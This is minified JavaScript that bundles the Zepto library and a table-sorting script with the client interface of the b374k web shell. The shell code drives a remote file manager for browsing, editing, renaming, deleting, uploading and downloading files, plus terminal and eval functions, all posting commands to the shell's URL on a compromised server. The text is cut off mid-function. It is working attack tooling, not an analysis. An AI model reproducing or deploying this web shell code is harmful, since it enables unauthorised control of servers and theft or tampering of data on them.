b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/gi,scriptTypeRE=/^(?:text|application)\\/javascript/i,xmlTypeRE=/^(?:text|application)\\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\\w-]+:)?\\/\\/([^\\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\\w-]+:)\\/\\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("<div>").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto)\nvar h=!0,j=!1;sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\\d\\d?)[\\/\\.-](\\d\\d?)[\\/\\.-]((\\d\\d)?\\d\\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/\\bsortable\\b/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/\\bsortbottom\\b/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/\\bsorttable_nosort\\b/)){(mtch=headrow[b].className.match(/\\bsorttable_([a-z0-9]+)\\b/))&&(override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/\\bsorttable_sorted\\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",sortrevind.innerHTML="&nbsp;&#x25B4;",this.appendChild(sortrevind);else if(-1!=this.className.search(/\\bsorttable_sorted_reverse\\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML="&nbsp;&#x25BE;",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=document.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML="&nbsp;&#x25BE;";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[\\u00a3$\\u00a4]?[\\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\\s+|\\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\\s+|\\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\\s+|\\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\\s+|\\s+$/g,"");case 4:return a.nodeValue.replace(/^\\s+|\\s+$/g,"");case 1:case 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=sorttable.d(a.childNodes[c]);return b.replace(/^\\s+|\\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(var b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?-1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-1,g=h;g;){for(var g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e<a.length;e++)b.call(c,a[e],e,a)});Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};var loading_count=0;var running=false;var defaultTab=\'explorer\';var currentTab=$(\'#\'+defaultTab);var tabScroll=new Object;var onDrag=false;var onScroll=false;var scrollDelta=1;var scrollCounter=0;var scrollSpeed=60;var scrollTimer=\'\';var dragX=\'\';var dragY=\'\';var dragDeltaX=\'\';var dragDeltaY=\'\';var editSuccess=\'\';var terminalHistory=new Array();var terminalHistoryPos=0;var evalSupported="";var evalReady=false;var resizeTimer=\'\';var portableWidth=700;var portableMode=null;Zepto(function($){if(init_shell){var now=new Date();output("started @ "+now.toGMTString());output("cwd : "+get_cwd());output("module : "+module_to_load);show_tab();xpl_bind();eval_init();window_resize();xpl_update_status();$(window).on(\'resize\',function(e){clearTimeout(resizeTimer);resizeTimer=setTimeout("window_resize()",1000)});$(\'.menuitem\').on(\'click\',function(e){selectedTab=$(this).attr(\'href\').substr(2);show_tab(selectedTab)});$(\'#logout\').on(\'click\',function(e){var cookie=document.cookie.split(\';\');for(var i=0;i<cookie.length;i++){var entries=cookie[i],entry=entries.split("="),name=entry[0];document.cookie=name+"=\'\'; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/"}localStorage.clear();location.href=targeturl});$(\'#totop\').on(\'click\',function(e){$(window).scrollTop(0)});$(\'#totop\').on(\'mouseover\',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll(\'top\')});$(\'#totop\').on(\'mouseout\',function(e){onScroll=false;scrollCounter=0});$(\'#tobottom\').on(\'click\',function(e){$(window).scrollTop($(document).height()-$(window).height())});$(\'#tobottom\').on(\'mouseover\',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll(\'bottom\')});$(\'#tobottom\').on(\'mouseout\',function(e){onScroll=false;scrollCounter=0});$(\'#basicInfo\').on(\'mouseenter\',function(e){$(\'#toggleBasicInfo\').show()});$(\'#basicInfo\').on(\'mouseleave\',function(e){$(\'#toggleBasicInfo\').hide()});$(\'#toggleBasicInfo\').on(\'click\',function(e){$(\'#basicInfo\').hide();$(\'#showinfo\').show();$(\'#toggleBasicInfo\').hide();localStorage.setItem(\'infoBarShown\',\'hidden\')});$(\'#showinfo\').on(\'click\',function(e){$(\'#basicInfo\').show();$(\'#showinfo\').hide();localStorage.setItem(\'infoBarShown\',\'shown\')});if((infoBarShown=localStorage.getItem(\'infoBarShown\'))){if(infoBarShown==\'shown\'){$(\'#basicInfo\').show();$(\'#showinfo\').hide()}else{$(\'#basicInfo\').hide();$(\'#showinfo\').show();$(\'#toggleBasicInfo\').hide()}}else{info_refresh()}if(history.pushState){window.onpopstate=function(event){refresh_tab()}}else{window.historyEvent=function(event){refresh_tab()}}}});function output(str){console.log(\'b374k> \'+str)}function window_resize(){bodyWidth=$(\'body\').width();if(bodyWidth<=portableWidth){layout_portable()}else{layout_normal()}}function layout_portable(){nav=$(\'#nav\');menu=$(\'#menu\');headerNav=$(\'#headerNav\');content=$(\'#content\');nav.prependTo(\'#content\');nav.css(\'padding\',\'5px 8px\');nav.css(\'margin-top\',\'8px\');nav.css(\'display\',\'block\');nav.addClass(\'border\');menu.children().css(\'width\',\'100%\');menu.hide();$(\'#menuButton\').remove();headerNav.prepend("<div id=\'menuButton\' class=\'boxtitle\' onclick=\\"$(\'#menu\').toggle();\\" style=\'float-left;display:inline;padding:4px 8px;margin-right:8px;\'>menu</div>");menu.attr(\'onclick\',"\\$(\'#menu\').hide();");$(\'#xplTable tr>:nth-child(4)\').hide();$(\'#xplTable tr>:nth-child(5)\').hide();if(!win){$(\'#xplTable tr>:nth-child(6)\').hide()}tblfoot=$(\'#xplTable tfoot td:last-child\');if(tblfoot[0])tblfoot[0].colSpan=1;if(tblfoot[1])tblfoot[1].colSpan=2;$(\'.box\').css(\'width\',\'100%\');$(\'.box\').css(\'height\',\'100%\');$(\'.box\').css(\'left\',\'0px\');$(\'.box\').css(\'top\',\'0px\');paddingTop=$(\'#header\').height();content.css(\'padding-top\',paddingTop+\'px\');portableMode=true}function layout_normal(){nav=$(\'#nav\');menu=$(\'#menu\');content=$(\'#content\');nav.insertAfter(\'#b374k\');nav.css(\'padding\',\'0\');nav.css(\'margin-top\',\'0\');nav.css(\'display\',\'inline\');nav.removeClass(\'border\');menu.children().css(\'width\',\'auto\');menu.show();$(\'#menuButton\').remove();menu.attr(\'onclick\',"");$(\'#xplTable tr>:nth-child(4)\').show();$(\'#xplTable tr>:nth-child(5)\').show();if(!win){$(\'#xplTable tr>:nth-child(6)\').show();colspan=4}else colspan=3;tblfoot=$(\'#xplTable tfoot td:last-child\');if(tblfoot[0])tblfoot[0].colSpan=colspan;if(tblfoot[1])tblfoot[1].colSpan=colspan+1;paddingTop=$(\'#header\').height();content.css(\'padding-top\',paddingTop+\'px\');portableMode=false}function start_scroll(str){if(str==\'top\'){to=$(window).scrollTop()-scrollCounter;scrollCounter=scrollDelta+scrollCounter;if(to<=0){to=0;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll(\'top\')",scrollSpeed);$(window).scrollTop(to)}}else if(str==\'bottom\'){to=$(window).scrollTop()+scrollCounter;scrollCounter=scrollDelta+scrollCounter;bottom=$(document).height()-$(window).height();if(to>=bottom){to=bottom;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll(\'bottom\')",scrollSpeed);$(window).scrollTop(to)}}}function get_cwd(){return decodeURIComponent(get_cookie(\'cwd\'))}function fix_tabchar(el,e){if(e.keyCode==9){e.preventDefault();var s=el.selectionStart;el.value=el.value.substring(0,el.selectionStart)+"\\t"+el.value.substring(el.selectionEnd);el.selectionEnd=s+1}}function get_cookie(key){var res;return(res=new RegExp(\'(?:^|; )\'+encodeURIComponent(key)+\'=([^;]*)\').exec(document.cookie))?(res[1]):null}function set_cookie(key,value){document.cookie=key+\'=\'+encodeURIComponent(value)}function html_safe(str){if(typeof(str)=="string"){str=str.replace(/&/g,"&amp;");str=str.replace(/"/g,"&quot;");str=str.replace(/\'/g,"&#039;");str=str.replace(/</g,"&lt;");str=str.replace(/>/g,"&gt;")}return str}function ucfirst(str){return str.charAt(0).toUpperCase()+str.slice(1)}function time(){var d=new Date();return d.getTime()}function send_post(targetdata,callback,loading){if(loading==null)loading_start();$.ajax({url:targeturl,type:\'POST\',data:targetdata,success:function(res){callback(res);if(loading==null)loading_stop()},error:function(){if(loading==null)loading_stop()}})}function loading_start(){if(!running){$(\'#overlay\').show();running=true;loading_loop()}}function loading_loop(){if(running){img=$(\'#loading\');img.css(\'transform\',\'rotate(\'+loading_count+\'deg)\');img.css(\'-ms-transform\',\'rotate(\'+loading_count+\'deg)\');img.css(\'-webkit-transform\',\'rotate(\'+loading_count+\'deg)\');loading_count+=7;if(loading_count>360)loading_count=0;if(running)setTimeout("loading_loop()",20)}}function loading_stop(){if(running){img=$(\'#loading\');img.css(\'transform\',\'rotate(0deg)\');img.css(\'-ms-transform\',\'rotate(0deg)\');img.css(\'-webkit-transform\',\'rotate(0deg)\');$(\'#overlay\').hide();running=false}}function show_tab(id){if(!id){if(location.hash!=\'\')id=location.hash.substr(2);else id=defaultTab}refresh_tab(id)}function refresh_tab(id){if(!id){if(location.hash!=\'\')id=location.hash.substr(2);else id=defaultTab}$(\'.menuitemSelected\').removeClass("menuitemSelected");$(\'#menu\'+id).addClass("menuitemSelected");tabScroll[currentTab.attr(\'id\')]=$(window).scrollTop();currentTab.hide();currentTab=$(\'#\'+id);currentTab.show();window[id]();if(tabScroll[id]){$(window).scrollTop(tabScroll[id])}hide_box()}function trap_enter(e,callback){if(e.keyCode==13){if(callback!=null)window[callback]()}}function show_box(title,content){onDrag=false;hide_box();box="<div class=\'box\'><p class=\'boxtitle\'>"+title+"<span class=\'boxclose floatRight\'>x</span></p><div class=\'boxcontent\'>"+content+"</div><div class=\'boxresult\'></div></div>";$(\'#content\').append(box);box_width=$(\'.box\').width();body_width=$(\'body\').width();box_height=$(\'.box\').height();body_height=$(\'body\').height();x=(body_width-box_width)/2;y=(body_height-box_height)/2;if(x<0||portableMode)x=0;if(y<0||portableMode)y=0;if(portableMode){$(\'.box\').css(\'width\',\'100%\');$(\'.box\').css(\'height\',\'100%\')}$(\'.box\').css(\'left\',x+\'px\');$(\'.box\').css(\'top\',y+\'px\');$(\'.boxclose\').on(\'click\',function(e){hide_box()});if(!portableMode){$(\'.boxtitle\').on(\'click\',function(e){if(!onDrag){dragDeltaX=e.pageX-parseInt($(\'.box\').css(\'left\'));dragDeltaY=e.pageY-parseInt($(\'.box\').css(\'top\'));drag_start()}else drag_stop()})}$(document).off(\'keyup\');$(document).on(\'keyup\',function(e){if(e.keyCode==27)hide_box()});if($(\'.box input\')[0])$(\'.box input\')[0].focus()}function hide_box(){$(document).off(\'keyup\');$(\'.box\').remove()}function drag_start(){if(!onDrag){onDrag=true;$(\'body\').off(\'mousemove\');$(\'body\').on(\'mousemove\',function(e){dragX=e.pageX;dragY=e.pageY});setTimeout(\'drag_loop()\',50)}}function drag_loop(){if(onDrag){x=dragX-dragDeltaX;y=dragY-dragDeltaY;if(y<0)y=0;$(\'.box\').css(\'left\',x+\'px\');$(\'.box\').css(\'top\',y+\'px\');setTimeout(\'drag_loop()\',50)}}function drag_stop(){onDrag=false;$(\'body\').off(\'mousemove\')}function get_all_cbox_selected(id,callback){var buffer=new Array();$(\'#\'+id).find(\'.cBoxSelected\').not(\'.cBoxAll\').each(function(i){if((href=window[callback]($(this)))){buffer[i]=href}});return buffer}function cbox_bind(id,callback){$(\'#\'+id).find(\'.cBox\').off(\'click\');$(\'#\'+id).find(\'.cBoxAll\').off(\'click\');$(\'#\'+id).find(\'.cBox\').on(\'click\',function(e){if($(this).hasClass(\'cBoxSelected\')){$(this).removeClass(\'cBoxSelected\')}else $(this).addClass(\'cBoxSelected\');if(callback!=null)window[callback]()});$(\'#\'+id).find(\'.cBoxAll\').on(\'click\',function(e){if($(this).hasClass(\'cBoxSelected\')){$(\'#\'+id).find(\'.cBox\').removeClass(\'cBoxSelected\');$(\'#\'+id).find(\'.cBoxAll\').removeClass(\'cBoxSelected\')}else{$(\'#\'+id).find(\'.cBox\').not(\'.cBoxException\').addClass(\'cBoxSelected\');$(\'#\'+id).find(\'.cBoxAll\').not(\'.cBoxException\').addClass(\'cBoxSelected\')}if(callback!=null)window[callback]()})}function action(path,type){title="Action";content=\'\';if(type==\'file\')content="<table class=\'boxtbl\'><tr><td><input type=\'text\' value=\'"+path+"\' disabled></td></tr><tr data-path=\'"+path+"\'><td><span class=\'edit button\'>edit</span><span class=\'ren button\'>rename</span><span class=\'del button\'>delete</span><span class=\'dl button\'>download</span></td></tr></table>";if(type==\'dir\')content="<table class=\'boxtbl\'><tr><td><input type=\'text\' value=\'"+path+"\' disabled></td></tr><tr data-path=\'"+path+"\'><td><span class=\'find button\'>find</span><span class=\'ul button\'>upload</span><span class=\'ren button\'>rename</span><span class=\'del button\'>delete</span></td></tr></table>";if(type==\'dot\')content="<table class=\'boxtbl\'><tr><td><input type=\'text\' value=\'"+path+"\' disabled></td></tr><tr data-path=\'"+path+"\'><td><span class=\'find button\'>find</span><span class=\'ul button\'>upload</span><span class=\'ren button\'>rename</span><span class=\'del button\'>delete</span><span class=\'newfile button\'>new file</span><span class=\'newfolder button\'>new folder</span></td></tr></table>";show_box(title,content);xpl_bind()}function navigate(path,showfiles){if(showfiles==null)showfiles=\'true\';send_post({cd:path,showfiles:showfiles},function(res){if(res!=\'error\'){splits=res.split(\'{[|b374k|]}\');if(splits.length==3){$(\'#nav\').html(splits[1]);if(showfiles==\'true\'){$(\'#explorer\').html(\'\');$(\'#explorer\').html(splits[2]);sorttable.k($(\'#xplTable\').get(0))}$(\'#terminalCwd\').html(html_safe(get_cwd())+\'&gt;\');xpl_bind();window_resize()}}})}function view(path,type,preserveTimestamp){if(preserveTimestamp==null)preserveTimestamp=\'true\';send_post({viewFile:path,viewType:type,preserveTimestamp:preserveTimestamp},function(res){if(res!=\'error\'){$(\'#explorer\').html(\'\');$(\'#explorer\').html(res);xpl_bind();show_tab(\'explorer\');if((type==\'edit\')||(type==\'hex\')){editResult=(type==\'edit\')?$(\'#editResult\'):$(\'#editHexResult\');if(editSuccess==\'success\'){editResult.html(\' ( File saved )\')}else if(editSuccess==\'error\'){editResult.html(\' ( Failed to save file )\')}editSuccess=\'\'}cbox_bind(\'editTbl\')}})}function view_entry(el){if($(el).attr(\'data-path\')!=\'\'){entry=$(el).attr(\'data-path\');$(\'#form\').append("<input type=\'hidden\' name=\'viewEntry\' value=\'"+entry+"\'>");$(\'#form\').submit();$(\'#form\').html(\'\')}}function ren(path){title="Rename";content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>Rename to</td><td><input type=\'text\' class=\'renameFileTo\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'ren_go\');\\"><input type=\'hidden\' class=\'renameFile\' value=\'"+path+"\'></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'ren_go();\'>rename</span></td></tr></table>";show_box(title,content)}function ren_go(){renameFile=$(\'.renameFile\').val();renameFileTo=$(\'.renameFileTo\').val();send_post({renameFile:renameFile,renameFileTo:renameFileTo},function(res){if(res!=\'error\'){navigate(res);$(\'.boxresult\').html(\'Operation(s) succeeded\');$(\'.renameFile\').val($(\'.renameFileTo\').val())}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function newfolder(path){title="New Folder";path=path+\'newfolder-\'+time();content="<table class=\'boxtbl\'><tr><td 